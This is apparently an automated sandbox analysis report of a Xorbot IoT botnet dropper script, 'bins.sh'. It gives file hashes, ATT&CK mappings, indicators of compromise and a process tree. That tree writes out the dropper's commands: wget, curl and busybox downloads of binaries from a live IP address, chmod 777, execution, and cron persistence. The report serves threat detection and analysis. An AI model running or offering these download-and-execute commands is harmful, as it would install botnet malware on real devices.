xorbot | eb54a15ecef183f0ba46588f13c75df0239a926cf1da6b250d1d66978e53e5d9

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30-11-2024 09:12

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General

Target

bins.sh
Size

10KB
MD5

1eec8b924791416fd0d003d6fe8c75b1
SHA1

28d94b5fd6256a58a2706a2cafa995c79134f8b7
SHA256

eb54a15ecef183f0ba46588f13c75df0239a926cf1da6b250d1d66978e53e5d9
SHA512

29aefaae8864ccc9f62ed56590ee88389667cfd2d3e7f66e4b95e7ae96f7ac17636e5c82eec1ab51a3f3c889f2da670a3a3e141d76600ca8dc29f214f7744827
SSDEEP

192:b6JCklhxUMcZQlK28aqCaDnRqCaDnllhxUM+JCjK2A:bClhxUMcZQlK28aqCaDnRqCaDnllhxUL

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1523	chmod
1530	chmod

Executes dropped EXE 2 IoCs

Processes:

RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHxmB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

ioc	pid	Process
/tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx	1524	RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
/tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY	1531	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

Renames itself 1 IoCs

Processes:

mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

pid	Process
1532	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.2L9qYy	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

description	ioc	Process
File opened for reading	/proc/1591/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1603/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/166/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/490/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1504/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1549/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/157/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1545/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1554/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/469/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/471/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/535/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1144/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/5/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/34/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/165/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/434/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1624/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/481/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1500/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1509/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/881/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/554/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1608/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/17/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1030/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1119/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1175/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/581/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1162/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1331/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1619/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1575/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/4/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/154/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/493/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/724/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1633/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/155/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1600/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1605/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1631/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1607/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1621/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/21/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1096/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1179/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1574/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/115/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1506/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1601/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1140/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1158/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1563/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/79/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/89/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/448/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/466/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1588/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/13/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/31/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/720/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/1546/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
File opened for reading	/proc/23/cmdline	mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wget

pid	Process
1541	wget

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx	wget
File opened for modification	/tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx	curl
File opened for modification	/tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx	busybox
File opened for modification	/tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY	wget
File opened for modification	/tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY	curl
File opened for modification	/tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1506
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/chmod
  chmod 777 RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  ./RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  - Executes dropped EXE
  PID:1524
- /bin/rm
  rm RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  - Writes file to tmp directory
  PID:1527
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod 777 mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  ./mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1531
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1533
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1534
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1535
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1536
- /bin/rm
  rm mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
  2⤵
  - System Network Configuration Discovery
  PID:1541

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.2L9qYy

Filesize
210B

MD5
86b780a3989ad9e87aaa844f4e7a1b4a

SHA1
b42455686200d3ed3758c99d66874226dee82c4d

SHA256
e9af87c7026e42b26abf75fd6a228a5848924df2ce0ad236650a9b3d374d37c1

SHA512
5d4cf3ff0cff70adc41c410b385db0986298e6b8e1470c33d1a9c33df493c384a796406d3179526f232cf60d1caa55a1471e80a24f02124aaba58ded5904b824

Download Submit